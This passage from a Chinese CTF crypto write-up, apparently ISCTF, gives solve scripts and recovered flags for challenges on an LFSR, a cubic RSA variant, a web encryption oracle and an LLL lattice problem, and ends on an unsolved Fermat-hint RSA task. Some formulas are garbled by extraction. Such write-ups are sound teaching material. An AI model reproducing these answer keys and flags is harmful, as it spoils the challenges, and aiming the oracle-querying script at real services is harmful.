    keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
    return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask

key 直接由 mask 生成。如果我们求出了 mask,就能直接算出 key。

  • initState:LFSR 运行前的状态(第 0 ~ 127 位)。
  • outputState:LFSR 运行过程中产生的反馈位(第 128 ~ 383 位)
    代码中的反馈逻辑是线性的:

\[\text{feedback} = \sum_{i=0}^{127} (\text{state}[i] \times \text{mask}[i]) \pmod 2 \]

这是一个典型的线性方程。
initStateoutputState 拼接起来,可形成一个完整的比特流序列 \(S\),总长度为 \(128 + 256 = 384\) 位。

\(M = [m_0, m_1, ..., m_{127}]\) 为未知的 Mask 向量。
\(S = [s_0, s_1, ..., s_{383}]\) 为已知的状态比特流。

根据代码逻辑,第 \(t\) 次迭代产生的新比特 \(s_{t+128}\) 满足以下关系:

\[s_{t+128} = \bigoplus_{i=0}^{127} (s_{t+i} \cdot m_i) \]

这实际上是一个关于未知数 \(M\) 的线性方程组。求解 128 个未知的 Mask 位,需要至少 128 个方程。题目给了 256 个输出位,完全足够了。

我们可以构建如下矩阵形式 \(A \cdot X = B\)

\[\begin{bmatrix} s_0 & s_1 & \cdots & s_{127} \\ s_1 & s_2 & \cdots & s_{128} \\ \vdots & \vdots & \ddots & \vdots \\ s_{127} & s_{128} & \cdots & s_{254} \end{bmatrix} \cdot \begin{bmatrix} m_0 \\ m_1 \\ \vdots \\ m_{127} \end{bmatrix} = \begin{bmatrix} s_{128} \\ s_{129} \\ \vdots \\ s_{255} \end{bmatrix} \]

  • 矩阵 A:由滑动窗口截取的已知状态位组成。
  • 向量 X:未知的 Mask。
  • 向量 B:已知的反馈输出位。

由于这是在二进制域 GF(2) 上,加法即为异或(XOR),乘法即为与(AND)。我们可以使用高斯消元法求解。
exp

import binascii  
  
initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0,  
             1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0,  
             0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1,  
             1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]  
outputState = [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,  
               0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1,  
               1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,  
               1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0,  
               0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1,  
               1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1,  
               0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0,  
               1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1]  
ciphertext_hex = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'  
  
  
def solve():  
    full_stream = initState + outputState  
    N = 128  
    A = []  
    B = []  
  
    for t in range(N):  
        row = full_stream[t: t + N]  
        val = full_stream[t + N]  
        A.append(row)  
        B.append(val)  
  
    M = [row[:] + [b] for row, b in zip(A, B)]  
  
    for i in range(N):  
        pivot = -1  
        for j in range(i, N):  
            if M[j][i] == 1:  
                pivot = j  
                break  
  
        if pivot == -1:  
            continue  
  
        M[i], M[pivot] = M[pivot], M[i]  
  
        for j in range(N):  
            if i != j and M[j][i] == 1:  
                for k in range(i, N + 1):  
                    M[j][k] ^= M[i][k]  
  
    mask = [row[N] for row in M]  
  
    key_bytes = []  
    for i in range(16):  
        bits = mask[i * 8: (i + 1) * 8]  
        byte_val = int("".join(str(b) for b in bits), 2)  
        key_bytes.append(byte_val)  
  
    key = bytes(key_bytes)  
    print(f"Key: {key.hex()}")  
  
    ct = binascii.unhexlify(ciphertext_hex)  
    keystream_len = len(ct)  
    keystream = (key * (keystream_len // 16 + 1))[:keystream_len]  
  
    plaintext = bytes(c ^ k for c, k in zip(ct, keystream))  
    print(f"\n{plaintext.decode(errors='ignore')}")  
  
  
if __name__ == "__main__":  
    solve()

小蓝鲨的RSA密文

Title

出题人:落书
院校:平顶山学院
难度:中等
题目描述:"小蓝鲨是海洋数学天才,它最近正在深耕RSA领域。你嗤之以鼻,心想RSA不是最基础的密码学知识吗?于是你信誓旦旦的跑到小蓝鲨面前告诉它你已经完全掌握了RSA,并宣称所有的RSA题目你都能做出来。 小蓝鲨意味深长的看了你一眼,并出了一道RSA来考考你。现在,该你向它证明你的实力了。"

Idea
题目附件:

#task.py:
import json, secrets  
from Crypto.Util.number import getPrime, bytes_to_long  
from Crypto.Cipher import AES  
from Crypto.Util.Padding import pad  
  
e = 3  
N = getPrime(512) * getPrime(512)  
  
a2_high = a2 >> LOW_BITS  
  
aes_key = secrets.token_bytes(16)  
m = bytes_to_long(aes_key)  
  
f = a2 * (m * m) + a1 * m + a0  
  
c = (pow(m, e) + f) % N  
  
iv = secrets.token_bytes(16)  
cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)  
ct = cipher.encrypt(pad(FLAG, 16))



#output.txt:
N = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777

c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117

a2_high = 9012778

LOW_BITS = 16

a1 = 621315

a0 = 452775142

iv = bf38e64bb5c1b069a07b7d1d046a9010

ct = 8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5

分析:

  • e = 3
  • N = getPrime(512) * getPrime(512) ,1024位的模数
  • aes_key 是16字节的随机数,对应的整数为 mm。因此 0≤m<21280≤m<2128。
  • 有一个系数 a2a2​,题目只给了它的高位 a2_high,低16位(LOW_BITS)未知。
  • f=a2​⋅m2+a1​⋅m+a0​。
  • 密文 c=(me+f)(modN)c=(me+f)(modN)。即 c=(m3+a2m2+a1m+a0)(modN)c=(m3+a2​m2+a1​m+a0​)(modN)。
  • AES-CBC 模式加密 Flag。

  • 我们需要计算出 \(m\)(即 AES Key)来解密 Flag。
  • 观察方程:\(m^3 + a_2 m^2 + a_1 m + a_0 \equiv c \pmod N\)
  • 量级分析
          * \(m\) 是128位整数,所以 \(m^3\) 大约是 \(128 \times 3 = 384\) 位。
           * \(N\) 是1024位整数。
          * 显然 \(m^3 \ll N\)。即使加上 \(a_2 m^2\) 等项(\(a_2\) 大约 \(24+16=40\) 位,\(m^2\) 256位,乘积约296位),总和仍然远小于 \(N\)
           * 因此,模数 \(N\) 在这里是不起作用的。我们可以直接在整数域 \(\mathbb{Z}\) 上列出方程:
                $$m^3 + a_2 m^2 + a_1 m + a_0 = c$$
                或者移项后:
                $$m^3 + a_2 m^2 + a_1 m + (a_0 - c) = 0$$

  • 题目给出 a2_high = a2 >> 16
  • 这意味着 a2a2​ 可以表示为:a2=(a2_high≪16)+La2​=(a2_high≪16)+L,其中 LL 是未知的低16位,0≤L<655360≤L<65536。
  • 由于 LL 的范围非常小(仅65536种可能),我们可以爆破 LL。

  • 遍历 \(L\)\(0\)\(65535\)
  • 对于每一个 \(L\),计算当前的猜测值 \(a_2' = (a2\_high \ll 16) + L\)
  • 此时方程变为关于 \(m\) 的一元三次方程:\(m^3 + a_2' m^2 + a_1 m + (a_0 - c) = 0\)
  • 这是一个单调递增函数(因为 \(m, a_2, a_1\) 均为正数),可以使用二分查找\([0, 2^{128}]\) 的范围内快速找到整数解 \(m\)
  • 如果找到了满足方程的整数解 \(m\),将其转换为字节串作为 Key。
  • 利用该 Key 和题目提供的 ivct 进行 AES 解密。得到 Flag。
    exp
from Crypto.Util.number import long_to_bytes  
from Crypto.Cipher import AES  
from Crypto.Util.Padding import unpad  
import binascii  
  
N = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777  
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117  
a2_high = 9012778  
LOW_BITS = 16  
a1 = 621315  
a0 = 452775142  
iv_hex = "bf38e64bb5c1b069a07b7d1d046a9010"  
ct_hex = "8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5"  
  
target_val = c - a0  
  
def solve_poly_for_m(current_a2, target):  
    low = 0  
    high = (1 << 128) - 1  
  
    while low <= high:  
        mid = (low + high) // 2  
        res = mid ** 3 + current_a2 * (mid ** 2) + a1 * mid  
  
        if res == target:  
            return mid  
        elif res < target:  
            low = mid + 1  
        else:  
            high = mid - 1  
    return None  
  
iv = binascii.unhexlify(iv_hex)  
ct = binascii.unhexlify(ct_hex)  
  
for L in range(2 ** LOW_BITS):  
    a2_guess = (a2_high << LOW_BITS) | L  
    m = solve_poly_for_m(a2_guess, target_val)  
    if m is not None:  
        key = long_to_bytes(m, 16)  
        cipher = AES.new(key, AES.MODE_CBC, iv=iv)  
        plaintext = unpad(cipher.decrypt(ct), 16)  
        print(plaintext.decode())  
  
  
#ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}

小蓝鲨的密码箱

Title

出题人:落书
院校:平顶山学院
难度:困难
题目描述:小蓝鲨有一个神秘的black-box,里面藏着它最珍贵的秘密。小蓝鲨告诉我们,只有知道密码箱的运算逻辑,你才能知道它的秘密。

容器题目
Idea
访问靶机,发现是一个web表单
通过测试发现,服务器返回的 "Flag" 密文会随着我们输入的 \(a, b, c\) 参数变化而变化。这意味着我们可以控制加密 Flag 的密钥或参数。
经过多轮测试,例如:

  • 1: \(a=1, b=1, c=65537\), 输入 A (ASCII 65)
        *   输出: 66
        *   推测: \(C = m + 1\)
  • 2: \(a=2, b=1, c=65537\), 输入 A (ASCII 65)
        *   输出: 132
        *   推测: \(C = 2 \times (m + 1)\)
  • 3: \(a=1, b=2, c=65537\), 输入 A (ASCII 65)
        *   输出: 4227
        *   计算: \(65^2 + 2 = 4225 + 2 = 4227\)
        *   推测: \(C = m^b + b\)
    ...................

推测出加密公式:

\[C = a \cdot (m^b + b) \pmod c \]

其中 \(m\) 是明文字符的 ASCII 值。
既然我们可以任意指定 \(a, b, c\),我们可以构造一组特殊的参数,使得解密变得非常简单。
置:

  • \(a = 1\)
  • \(b = 1\)
  • \(c = 65537\) (或者任何大于 255 的数,以避免模运算丢失信息)
    代入公式:

\[C = 1 \cdot (m^1 + 1) \pmod{65537} \]

\[C = m + 1 \]

这样,密文 \(C\) 仅仅是明文 \(m\) 加 1。
解密公式即为:

\[m = C - 1 \]

exp

import requests
import re

url = "http://challenge.bluesharkinfo.com:20543/encrypt"

def solve():
    params = {
        'a': 1,
        'b': 1,
        'c': 65537,
        'text': 'test'
    }
    try:
        print(f"[*] Sending payload with a=1, b=1, c=65537...")
        response = requests.post(url, data=params)
        flag_match = re.search(r'<p><strong>Flag:</strong></p>\s*<div class="hex-output">(.*?)</div>', response.text, re.DOTALL)
        if flag_match:
            hex_str = flag_match.group(1).strip()
            if hex_str:
                cipher_ints = [int(x, 16) for x in hex_str.split()]
                print(f"[*] Ciphertext ints: {cipher_ints}")
                flag = ""
                for val in cipher_ints:
                    flag += chr(val - 1)
                print(f"[+] Flag: {flag}")
            else:
                print("[-] Empty flag ciphertext found.")
        else:
            print("[-] Could not find flag in response.")
    except Exception as e:
        print(f"[-] Error: {e}")
  
if __name__ == "__main__":
    solve()

baby_math

Title

出题人: yskm
院校:浙江工商职业技术学院
难度:中等
题目描述:死去的记忆突然被唤醒了

Idea
题目附件:

from Crypto.Util.number import bytes_to_long  
  
print(len(flag))   
R = RealField(1000)  
a,b = bytes_to_long(flag[:len(flag)//2]),bytes_to_long(flag[len(flag)//2:])  
x   = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)  
   
enc = a*cos(x)+b*sin(x)   
   
  
#1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52

分析一下加密流程:

  1. flag分为两部分,将前半部分转为整数 \(a\),后半部分转为整数 \(b\)
  2. 使用 SageMath 的 RealField(1000) 设置 1000 位的浮点精度。
  3. 生成参数:
        *   高精度浮点数 \(x\)
        *   密文 \(enc = a \cdot \cos(x) + b \cdot \sin(x)\)

分析:

\[enc \approx a \cdot \cos(x) + b \cdot \sin(x) \]

其中:

  • \(a, b\) 为未知的大整数(Flag的一半)。
  • \(enc, x\) 为已知的高精度浮点数
  • \(\cos(x), \sin(x)\) 为系数。

一个 丢番图逼近(Diophantine Approximation) 问题,在实数域上寻找整数解的线性方程。直接用 格(Lattice) 来解。
将整数解的问题转化为格上的最近向量问题(CVP)最短向量问题(SVP)

寻找一组整数 \((a, b)\),使得:

\[a \cdot \cos(x) + b \cdot \sin(x) - enc \approx 0 \]

为了处理浮点数,我们需要引入一个巨大的缩放因子 \(K\)(在脚本中取 \(2^{1000}\)),将方程变为整数运算:

\[a \cdot \lfloor K\cos(x) \rceil + b \cdot \lfloor K\sin(x) \rceil - \lfloor K \cdot enc \rceil \approx 0 \]

构造如下的格基矩阵 \(M\)

\[ M = \begin{bmatrix} 1 & 0 & \lfloor K \cos(x) \rceil \\ 0 & 1 & \lfloor K \sin(x) \rceil \\ 0 & 0 & -\lfloor K \cdot enc \rceil \end{bmatrix} \]

取向量 \(v = (a, b, 1)\) 对矩阵 \(M\) 进行线性组合(即行向量相乘):

\[ [a, b, 1] \times M = \left( a, \quad b, \quad a \cdot \lfloor K \cos(x) \rceil + b \cdot \lfloor K \sin(x) \rceil - \lfloor K \cdot enc \rceil \right) \]

结果向量的前两维是我们要求的 \(a\)\(b\),第三维则是误差项(应该非常接近 0)。
由于 \(a\)\(b\) 相比于 \(K\) 来说是非常小的数,且误差项接近 0,因此向量 \((a, b, \epsilon)\) 是该格中的一个短向量

利用 LLL 算法,可以将格基归约,找到格中的短向量基。因为我们构造的解向量非常短,LLL 归约后的基向量中通常就包含了目标向量 \((a, b, \epsilon)\)
exp

from sage.all import *
from Crypto.Util.number import long_to_bytes

x_str = "0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100"

enc_str = "1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52"

R = RealField(1000)
x = R(x_str)
enc = R(enc_str)

K = 2**1000

v_cos = int(cos(x) * K)
v_sin = int(sin(x) * K)
v_enc = int(enc * K)

M = Matrix(ZZ, [
    [1, 0, v_cos],
    [0, 1, v_sin],
    [0, 0, -v_enc]
])

L = M.LLL()
flag_found = False

for row in L:
    a_cand = abs(int(row[0]))
    b_cand = abs(int(row[1]))
    if a_cand.bit_length() > 100 and b_cand.bit_length() > 100:
        part1 = long_to_bytes(a_cand)
        part2 = long_to_bytes(b_cand)

        full_flag = part1 + part2

        if b"ISCTF" in full_flag or b"{" in full_flag:
            print(f"{full_flag.decode(errors='ignore')}")
            flag_found = True
            break

#ISCTF{164a3221-7306-4024-88c3-4ef557b86895}

小蓝鲨的费马谜题

Title

出题人:落书
院校:平顶山学院
难度:中等
题目描述:小蓝鲨在一次网络探险中发现了一个神秘的加密系统。他发现这个系统好像使用了费马小定理来保护重要信息,但是又好像不太一样。小蓝鲨设法截获了系统的加密输出,但不知道如何解密,你可以帮帮它吗?

Idea
题目附件:

#task.py
import random  
import math  
  
p = get_prime(1024)  
q = get_prime(1024)  
n = p * q  
e = 65537  
  
m = bytes_to_long(flag)  
c = pow(m, e, n)  
  
bases = get_primes_up_to(100)  
  
hints = []  
for i in range(len(bases)):  
    for j in range(i+1, len(bases)):  
        hint_value = (pow(bases[i], p-1, n) + pow(bases[j], p-1, n)) % n  
        hints.append((bases[i], bases[j], hint_value))
        
#output.txt
n = 16926747183730811445521182287631871095235807124637325096660759361996155369993998745638293862726267741890840654094794027600177564948819372030933079291097084177091863985749240756085243654442374722882507015343515827787141307909182820013354070321738405810257107651857739607060274549412692517140259717346170524920540888050323066988108836911975466603073034433831887208978130406742714302940264702874305095602623379177353873347208751721068498690917932776984190598143704567665475161453335629659200748786648288309401513856740323455946901312988841290917666732077747457081355853722832166331501779601157719722291598787710746917947
e = 65537
c = 7135669888508993283998887257526185813831780208680788333332044930342125381561919830084088631920301623909949443002073193381401761901398826719665411432016217400457613545308262831975564456231165114091904748808206330488231569773162745696602366468753664188261933014198218922459715972876740957260132243927549037840265753282534565674280908439875550179801788711737901632349136780584007599655055605772651127003711138512998683145763743839326460319440186099818507078433271291685194944254795690424327192625258701835654639832285402990995662846426561789508331799972329711410217802657682842382105869446853207634070295959281375484933

Hints (format: base1, base2, hint_value):
Hint 1: 11, 41, 403072318395713195475880235840306655046644537786837658466183670390322357403650602210882802453171853452
Hint 2: 73, 7, 3401877351823051464833008106697922874740843547186522246399577691648145322938787488999079423405760696040635223407580102549819096176975820017380148265275786281647240647714533261221890310813882987089721138616513427711006945061727486708277298401545762448776593105730005387022319319199166969225690343981500127626848336242187816071435842118963634505746771844269484845077330851526393327015758760003053231670737896550596266539249975891234238005583184203089180325261872944167834576158878843510707348603774425827560724587546720860765943393963597645881666559247252842017499263265738255716811999328445725902262302532911214255949
Hint 3: 59, 73, 695583691945177012011155613294846891840015729899504980764916686517371703553347581254163445300367305365949600797847620946823894152274689248119430670857791635723385692575931740078475490085973951317953049329486264578815530286784178680687403627415153526425715193114420845091853572366108176759184115038228886689580295865909953096284457818874267153151571968297454864850732608316298813594124020007025412733770104355236849081247730461956131749267446455113813284775308663385548094921945410215359273656658830019785099633226412843434625002115741084636776823289994271249660745143685585443820708578849162449717982725541307852715
Hint 4: 53, 17, 971645701575323882519635342913625889703399294086
Hint 5: 17, 53, 15015015166119321293244100074414416277924832658329700344653519929879563546652512240571777007009139132526751717913688831473249036114283479537249767699902565862566840754892319936718933957878788242522102884592375092063435348463420495622162622111752797419564087812071877456034189172928466087325995711799494559632348117577986369270044265839851198529901138826760234172452522279821372814789053868333623123766583799003287221335420456780264904184548645200345715153696373219687248029519611142514212181449677795769427641367964609639782220743835161725500332507591502818244881229659746207461229056486960160782643424330243354078694
Hint 6: 59, 19, 4427802296687944448870952484227318
Hint 7: 19, 43, 19174465169354813231681320402781559275699092043658101294284851123118510716279410
Hint 8: 23, 31, 6031706827842456717715236244872427215835819411314168938820265741988730625387931647610750902952789928566569174296650515449892611198040938188209413722806254050103019879240215344570043498312370280623702924998835728624935413985841142180365335178468710734638030582183503463305813229510689954065159041592316788178873050291779739508108222965509434291492950189742558594400755699777715854046635146464467729949201239668741264832027750549876625288984575624485894153879412247669943493660233937543961086506015000295606199222800612415043850877838520358081044378561877650595040905680464898635661677396546195369907960492865630959945
Hint 9: 73, 31, 14201978515584496685882877364621713654579319459919970854066889531106363038011334520524797899491133943665135480301300406440254472658620428164578914318059588912647092994632856690
Hint 10: 31, 3, 17761887753093897979823770061456102763834352
Hint 11: 13, 5, 4150700388609705807509972385476068337626559497757356803399419065000783917890225153250286903799441660433187538279583874523190497602462150199426414868861228792088666515397312761673326022980940385774334828394940770351447957541072690963220641780722897399543555486513918873014494692941882646929202605685305683969151271831603708612223260616432695010847067252877343217676963276876850265407927146383572955861063428706012170676831524971272198283920333900403902257748241220365118645448662797961778388544299359695919130547938351588261698392641490575786350259413542725944665834486513968924860904668074607650304874723425230270137
Hint 12: 59, 53, 2093308535564899860358544644764036388478107502010763064242342417957960952425000274395405300689532194265342136032111944045432326085818281844400947666782274940461183395046865284971635536544260910022728631047126094710543502860882170401987674931187922422766222327719930375318976698721098197543008758760603140658147997152753438270623866111022164350986375651437321309108736011279113592001916870502347116720151257306071411569096876275005515839079136440506703094781753301521917670413306257490297241974169467740732230454155267623129991881695623072243477621355484939295049508367225410929080326109567111654067945546042372106278
Hint 13: 11, 89, 5773679028890369456276328097218681131210336197851484718484213121094699090839722641329327818066934448088431288328288112007488949292271360565624555172295051667285077138864510745740214905953043079468933679191715551224964421931824712984605682049449568976492220103844351216496482668448767237697296740468431846671505265143619239976063901580555986558904470931013978569579237148514276178765419852198637961774494186181747458089405228411950572658310072067499489988259824774767508198451267875000556446298608250644009748818937568123418528009187811944967998576518784004540892824519032050506460017670585483238226301820712571645579
Hint 14: 59, 19, 10974757986236006288348468568336947121923978268025782618680419380484847824293845383379274809628633982884248524866285416869994466804493799071019695089232140692475376148645650118342055726520583120333882910989811592931370723715884717392658914626279560914541425986351478710240862377226197891323537525676367683258652280225895980668977840969537035757009985713502197856706880646989184201990423727195172560560704893733494792945340405983958264929760613990510042281137251536502371683060105493456566203202995676363796508260438545252515574493473542492715179349497866152824132141129238032807684278789579870873990631709515352502373
Hint 15: 11, 59, 8286765915642893643722267671556930668422080363489440619486004330134849571178036674986475802754804260626759450923775241201472288503107728483612582960417838690160802
Hint 16: 3, 83, 8670564904343374156075891784422797917915847070310520984332279769504164524019002920437878667712734918407503893528964609388615752378009668179394550543334742880513288696193899579334352041612737521648871122300770732109991958777364103317237896209222739571605930423722098331428587046952745581887767018125449661836385756401767146216848185513274686419811084754784129338190887685792489185844961970682436930953762662159256843649680197802836233628748219421311091068027884246286801955132580168006746385788553263325371239064547214943270463799271582693307097866515323559640081377472410365311796667103389327125755510398234792960539
Hint 17: 47, 71, 15189655529337297599070621327692775647472437654342284733419279459044091245709484592008784236836038238199431339530080798833863694019082099360867975411468181802365883838048650755521947739185044832121750278668725458779161264572106488221158049174704002405104694045711051726668876267794954827804265584531526809688162851528267958117474561865081871142026481602702358611977383838840467216409782013973906761226139903245114056975231832568083538564658843330419770362826462102622789108069389249602641189148715388059622341376715417265924644704691316367196722599195793773962428198040205512616444509750834973953022693785550802266112
Hint 18: 19, 29, 14661046810005357468594301664850836437610256328712330874381003343699942748425302158171105550644727048051206458117828772075144383589551129619743654527620413132286889305278690645291359466534057249273843187124449541437587033949823571613090619667989912739101162245067852658322665279694710401800444138141346856093835079283227374648099624120782619771322472623630789096431414534527222485118949515372622085183912510018177895906649522504991475861146404995703763107816964209369487501529056212864220862713277632632268594192926804994930950930762255940853728034617285828125545163750399143037606327606535126251763073693473953686744
Hint 19: 11, 89, 13357214564583644951510034650716277516325510600111365531856471059002907497767937445827192806732793166523983315887101899445087845542550038342480500237151465231405685422545530090065005109607310864977025325103465672450850540379234341279749113886947539400845321822481006994262700375964062063857363515290494376286961284725864589465065587339836635723085250544188242927462327068925005089561746960078398647971113589281563663689024296134195815738058179266887469473137997216792436310641839801585271790331365746442208348676200753457562160444740691258422882276851839616144554731981681550535123108350101531030525324694963994545288
Hint 20: 13, 19, 9015439113692415723812039454602636203717179069784080604236209577969030957184510380132987544909218798262905505307236620420364723156896628015021747981816896133290154232921264396063118665954041870382404950626337554885082880595372492300185559547705412727112020773895391734178675568118417294113429562448849544338564697858353479059676992341239979279973948191000090925611122966827392226766571948922617345703402518639464697367975459916964712370264229447747875703346922955116402649868815187647332682627727429521327349380558524025434437065348919358179886784373948470464530596295968257196117932806673623409596232224263656709447
Hint 21: 17, 89, 1232624071183606371752171179827692250773859330394635710762162149851456772281037111827897119725547063233395640472176481922500789994068941245743063373416785659254352015310032922118348550975562
Hint 22: 67, 83, 1126066176169173986258375138688137558142264839106063302940880092042502490911057016254959754435510429411384392032847908273635563612047472121950839934733905729015943917767915064618640585969621038467420076188953203812632416692873236731402216410500667938438399832227071790611412372173974174687603713326333791754140419675029772154828193139783484205710539042656417324250808919494712510406268629862104562237889399268931862879343990757365436458551497886263701914349819002099339457690106946122543529626710290881457346334759953170142024757161589525394691005814751979092184245953191693247075620270045838678527511170972567753351
Hint 23: 41, 97, 15061728396574720128871454281806425283902878531290205263072044930084328354647716799950058691868870125292816458036423472349601649870044904984377004711678761714808846252355372756850495640148784156530292575757175420916873271609977179541391067607437946628688811886889502712607514447458904992024279765998865875618672417318528806259694052202283848620150531327490085874935926140164888318138777816635210686133434879564761574366090585467327313351792501721900090022412568322566880308204689579089754113916523137219409702840025596606460438071507115794360457519041650146002247978792944063933568992230154174930543323173071240960636
Hint 24: 7, 23, 107006904423598033367949136709476534616
Hint 25: 79, 47, 11094334665560612802457947914579705831928780165312070004861180761238832002874428458670163845939464475999733253092738012391076484871479088986479536610030564639805718143084622127711215172458485326388902083413575454799106868355391943732802994224342313418146481622340282330554260946195940723120836406549666330792363893799020720281135898034922255022048435484533585962047978284629786026663018345757890693521562666203031553493103945295693195640052093415731503407816366337336182698796883001653465915740746118519384260984893835094879165736186434278489286286227662273545663256993867922180157248380291757381125272120891684062194
Hint 26: 59, 73, 4064264878148785166802093462858575465400091342645180541176126645875623098033551060982695656331190143572426766578696362147717218779335361493125256534627342192680373626652482508115615860816250319187188097915962706304133850035098343668277834974105321147191342624944627482006284223163704828843061145141268544104282644658022010819808655796239544272048394743182820455393255285941665799519906799024432739271653191031181064778284104887384076188431552852025837101339257686236262365247791750207700069395619856622961279534162976795147959769683692604340368460731405668330115156114576764572051491629821619308816381773343755003534
Hint 27: 67, 37, 13951782965760049234481961368802553800278133941697263631552649243302664977209715848353709633491008434674270268090076527067844931388512019333805006404853566312201157392447713057698715800623288234051899693554210937852453814575305705182660789018065999222430838475037429354174069134372859946362529872754325135924297601113491133129277121309644377255711296412090554983403167436585565758988120192517511808267055408632606896756685326534561420410005038161122481109870042764517919065341900975187982359357007105413042469550052322588976438466403370644683889314221651454587673986716491269580073476431119104550125907982617819198239
Hint 28: 71, 31, 14592451107942406172703460352000704126425716661469483183610425663886284772375260143470595014699236417504356417924516247683378564032172689094243907515271202472795378941272772693424353756938883720892780719870429492112844354792067076527090697208293397879373413452057503440196643066732299886678533556377726500394447831070628632364135576812382061688937462189566815186722078015421531935330987991868677259308976254080329342447669466494877857082494259824027412023017042305976083947770306599290459206333751309651343338718031684134413354721116695889173022783305688553309591139544114673672159391172663588390812561345603404875445
Hint 29: 61, 37, 150312118586919145020616357224172487248862369450901081305248777087453651799298780184965167114015639778324633934952775965666791061680751287444693564273797597220185626300049938
Hint 30: 47, 89, 5435525789990781146665058968159824543197878249058619814486157180575648579639831493916004219973973832266296536703517577992770
Hint 31: 23, 47, 16103071775810171711924674905790805963818714309292465098237116772593040021211622298924186932004880334851627830206994635151992140064405277570483377357957039009351094902151630023493150975576584876244834021621269645929479405478143057020268612485343670663377970673925984030126760947109176763636955974818654880191024493408598053751276065135442200582652319408920748644591450674320233708025358524648197707659990862662361862539842868417063320792767415984991601751165223638123837341091365974671765054733794332399697028713963544373254318631595083356458002718583341127602790857490164278343070475882464426640213476914415482369850
Hint 32: 29, 5, 13149325842021723251134510511729784479095642778506166091034934686556554381120350749714138697288609601129918017821541343485285067285202422145639363694603240119439803374916552440509169187395808575353190466385753062164445875730603626277916455911345416839502129509688066724158296752117066013823226052016786749548019509350864881585069802037870118674424466298682508091272797804735861773714128160193020313575834557745724129735757517340056227714959610755715392915985854554070909168057367535004631491240072926342019254725105436116655974774609052713231818128446311960013765270122065871739363402131985754839033491581530499347992
Hint 33: 89, 47, 630043523370452187379224662747648830902214688021486477430843243593080113724992705480996062907676256037302619160067814028518895461989971281884155808829193898017336
Hint 34: 19, 59, 5312300113767710347282768227082829679387523215214639151760217349511385597102767288546324009076948101196442028352053632460946433171294574346446379257281949909272350819311609431501573807000878460778313626108872598317920103278246614995180550162481588759079785633301645095994306260526442257399195256822168763040046685053639779110740308012206330181637380011462498603874585251040951562533555627840386291011622732627801692079226133918094516784934996032323522126557227339640405344352939596441336679652918394074410690904621730980459695004938137633444530118011543020946033976566969594506053598637256025269420788063085529221486
